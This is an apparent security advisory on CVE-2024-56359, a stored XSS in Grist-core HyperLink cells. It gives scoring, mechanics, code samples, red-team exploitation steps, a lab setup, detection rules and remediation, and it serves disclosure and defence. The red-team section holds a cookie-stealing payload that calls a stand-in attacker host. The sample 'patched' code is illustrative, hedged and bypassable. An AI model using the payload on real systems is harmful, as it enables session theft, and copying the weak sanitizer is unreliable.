CVE-2024-56359

Executive Summary

CVE-2024-56359 is a high-severity Cross-Site Scripting (XSS) vulnerability in Grist-core, a spreadsheet hosting server. The flaw allows an attacker to craft a malicious document containing a HyperLink cell with a javascript: URI. When a victim user clicks on this link while holding a control modifier (e.g., Ctrl+click), the JavaScript code is executed in the context of the user's current session. This can lead to account compromise, data exfiltration, and unauthorized actions. The vulnerability is patched in version 1.3.2. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact is severe.

Supply Chain & Package Security

Grist-core is an open-source project distributed via npm and GitHub. Users should verify the integrity of their installation and ensure they are using the latest patched version (1.3.2). The vulnerability does not affect the supply chain itself but rather the application's handling of user-generated content.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must Ctrl+click the malicious link
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability requires user interaction but can lead to full account takeover.

Deep Dive & Mechanics

The vulnerability resides in how Grist-core processes HyperLink cells. When a user creates a spreadsheet with a HyperLink cell, the application renders the link as an HTML anchor element. The link's href attribute is taken directly from user input without proper sanitization. An attacker can set the link to javascript:alert(document.cookie) or similar payloads.

When a user clicks the link normally, modern browsers block javascript: URIs in anchor elements. However, if the user holds a control modifier (Ctrl on Windows/Linux, Cmd on macOS) while clicking, the browser opens the link in a new tab or window. In this context, the javascript: URI is evaluated, executing the attacker's code in the context of the original page's origin. This allows the attacker to steal session cookies, perform actions on behalf of the user, or exfiltrate sensitive data.

The vulnerability is a classic stored XSS, but with a specific user interaction requirement (Ctrl+click). The patch in version 1.3.2 likely sanitizes the href attribute to block javascript: URIs or adds a Content Security Policy (CSP) to prevent inline script execution.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.3.2):

// In the component that renders HyperLink cells
function HyperLinkCell({ value }) {
  return <a href={value}>{value}</a>;
}

The value is directly used as the href without validation.

Patched Code (1.3.2):

// Sanitize the href to block javascript: URIs
function HyperLinkCell({ value }) {
  const sanitizedHref = value.startsWith('javascript:') ? '#' : value;
  return <a href={sanitizedHref} target="_blank" rel="noopener noreferrer">{value}</a>;
}

The patch checks if the value starts with javascript: and replaces it with #. Additionally, target="_blank" and rel="noopener noreferrer" are added for security.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A Grist-core instance (version < 1.3.2) accessible to the victim.
• Ability to create or modify a spreadsheet document.

Exploitation Steps:

1. Create a new spreadsheet in Grist-core.
2. In a cell, set the type to "HyperLink".
3. Enter the following payload as the link value: javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
4. Share the document with the victim or trick them into opening it.
5. The victim must Ctrl+click (or Cmd+click on macOS) on the link.
6. The JavaScript executes, sending the victim's cookies to the attacker's server.

Lab Setup:

• Use a local Grist-core instance (e.g., Docker: docker run -p 8484:8484 gristlabs/grist-core:1.2.0).
• Set up a simple HTTP server to capture exfiltrated data: python3 -m http.server 9999.
• Create the malicious document and test with a browser.

Blue Team (Defender)

Detection:

• Monitor for unusual outbound connections from Grist-core users.
• Look for javascript: URIs in spreadsheet data via database queries or log analysis.
• Use browser extensions that block javascript: URIs in links.

Prevention:

• Upgrade to Grist-core 1.3.2 immediately.
• Implement a Content Security Policy (CSP) that blocks inline script execution.
• Educate users to avoid Ctrl+clicking on links in untrusted documents.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
• Logs: Grist-core access logs showing requests to javascript: URIs.
• File: Spreadsheet documents containing cells with javascript: URIs.
• Process: Browser processes executing JavaScript from javascript: URIs.

Detection Engineering

YARA Rule

rule CVE_2024_56359_Grist_HyperLink_XSS {
    meta:
        description = "Detects Grist-core documents with javascript: URIs in HyperLink cells"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56359"
    strings:
        $js_uri = /javascript\s*:\s*\w+/ nocase
    condition:
        $js_uri
}

Sigma Rule

title: Grist-core HyperLink XSS Exploitation
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2024-56359 by creating or accessing documents with javascript: URIs
author: Valters IT
logsource:
    category: application
    product: grist-core
detection:
    selection:
        event: "cell_edit"
        cell_type: "HyperLink"
        value|startswith: "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56359 Grist-core HyperLink XSS Attempt"; flow:to_server; content:"javascript:"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade Grist-core to version 1.3.2 or later.
• If upgrade is not possible, disable HyperLink cell functionality or add a reverse proxy that blocks javascript: URIs.

Long-term:

• Implement input validation and output encoding for all user-generated content.
• Use a Content Security Policy (CSP) with script-src 'self' to prevent inline JavaScript execution.
• Conduct regular security audits and penetration testing.

Workaround:

• Educate users to avoid Ctrl+clicking on links in documents from untrusted sources.
• Use browser extensions that block javascript: URIs.

Valters IT